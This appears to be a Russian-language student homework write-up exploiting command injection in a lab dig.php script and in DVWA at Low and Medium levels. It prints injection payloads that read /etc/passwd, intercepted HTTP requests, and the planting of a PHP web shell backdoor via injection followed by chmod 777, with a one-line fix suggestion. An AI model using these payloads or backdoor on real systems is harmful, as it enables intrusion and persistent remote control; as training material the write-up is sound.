

Домашнее задание:

1. Есть сценарий (dig.PHP), его следует проверить на наличие уязвимостей, которые приводят к RCE. Установите сценарий, протестируйте его и дайте рекомендации, как повысить безопасность его использования.
2. Выполните развертывание среды DVWA (или используйте готовый образ). Решите задание Command Injection на уровне сложности Low.

Домашнее задание (повышенная сложность):

1. * Выполните развертывание среды DVWA (или используйте готовый образ). Решите задание Command Injection на уровне сложности Medium.
2. * Если у вас есть желание еще больше потренироваться в данном типе уязвимостей, можете решить эти задания: <https://portswigger.net/web-security/all-labs#os-command-injection>

1. Смотрим исходник dig.php

```
vagrant@ubuntu:~$ cat dig.php
<?php
// $ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
echo '<pre>';

        //start digging in the namserver
        system ("dig $host $query_type");
        echo '</pre>';
```

Замечаем там функцию system() для поля query type.

Попробуем ifconfig

Enter parameters

host to dig

query type

Submit Query

Сработало

```
docker0  Link encap:Ethernet  HWaddr 02:42:4d:6c:e0:96
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:4dff:fe6c:e096/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:16577 (16.5 KB)

eth0      Link encap:Ethernet  HWaddr 08:00:27:b6:e0:79
          inet addr:10.0.2.15  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feb6:e079/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:45 errors:0 dropped:0 overruns:0 frame:0
          TX packets:156 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:6280 (6.2 KB)  TX bytes:20724 (20.7 KB)

eth1      Link encap:Ethernet  HWaddr 08:00:27:48:80:0b
          inet addr:192.168.56.11  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe48:800b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:549 errors:0 dropped:0 overruns:0 frame:0
          TX packets:489 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:51841 (51.8 KB)  TX bytes:69501 (69.5 KB)

eth2      Link encap:Ethernet  HWaddr 08:00:27:4f:e4:82
          inet addr:10.0.0.10  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4f:e482/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:193 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:22125 (22.1 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:5728 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5728 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:3914732 (3.9 MB)  TX bytes:3914732 (3.9 MB)

veth504cc72 Link encap:Ethernet  HWaddr 02:72:e5:63:bf:7c
          inet6 addr: fe80::72:e5ff:fe63:bf7c/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:131 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:20253 (20.2 KB)
```

Чтобы защититься необходимо фильтровать ввод в небезопасные команды, в данном случае в system(). Или вообще не использовать небезопасные команды.

2. Введем 8.8.8.8|cat /etc/passwd

192.168.56.11/dvwa/vulnerabilities/exec/#

Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB MSFU

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin)/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
statd:x:104:65534::/var/lib/nfs:/bin/false
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
```

1*. На medium тоже самое

Raw Params Headers Hex

1 POST /dvwa/vulnerabilities/exec/ HTTP/1.1
2 Host: 192.168.56.11
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 26
9 Origin: http://192.168.56.11
10 Connection: close
11 Referer: http://192.168.56.11/dvwa/vulnerabilities/exec/
12 Cookie: security=medium; security_level=0; PHPSESSID=suotkrmepvjlpelfmeu5b0rc3
13 Upgrade-Insecure-Requests: 1
14
15 ip=127.0.0.1&Submit=Submit

Raw Headers Hex

67 <div id="main_body">
68
69
70 <div class="body_padded">
71 <h1>
72 Vulnerability: Command Injection
73 </h1>
74 <div class="vulnerable_code_area">
75 <h2>
76 Ping a device
77 </h2>
78 <form name="ping" action="#" method="post">
79 <p>
80 Enter an IP address:
81 <input type="text" name="ip" size="30">
82 <input type="submit" name="Submit" value="Submit">
83 </p>
84 </form>
85 <pre>
86 PING 127.0.0.1 (127.0.0.1) 56(84) bytes
87 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64
88 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64
89 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64
90 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64

Если перехватить запрос можно увидеть что попадаем в тег <pre>

Напишем вот такой бекдор

```
(root@kali)-[~]
# echo "<?php system(\$_GET['c']); ?> " > backdoor.php
```

Создадим его на сервере

```
1 POST /dvwa/vulnerabilities/exec/ HTTP/1.1
2 Host: 192.168.56.11
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 81
9 Origin: http://192.168.56.11
10 Connection: close
11 Referer: http://192.168.56.11/dvwa/vulnerabilities/exec/
12 Cookie: security=medium; security_level=0; PHPSESSID=suotkrmnepvj1pel fmeu5b0rc3
13 Upgrade-Insecure-Requests: 1
14
15 ip=127.0.0.1|echo "<?php system(\$_GET['c']); ?> " > backdoor.php
16 &Submit=Submit
```

Проверим

```
ip=127.0.0.1|cat backdoor.php;|
&Submit=Submit
```

```
</form>
<pre>
  <?php system($_GET['c']); ?>

</form>
<pre>
  /var/www/html/dvwa/vulnerabilities/exec
</pre>
</div>
```

```
ip=127.0.0.1|chmod 777 backdoor.php;
&Submit=Submit
```

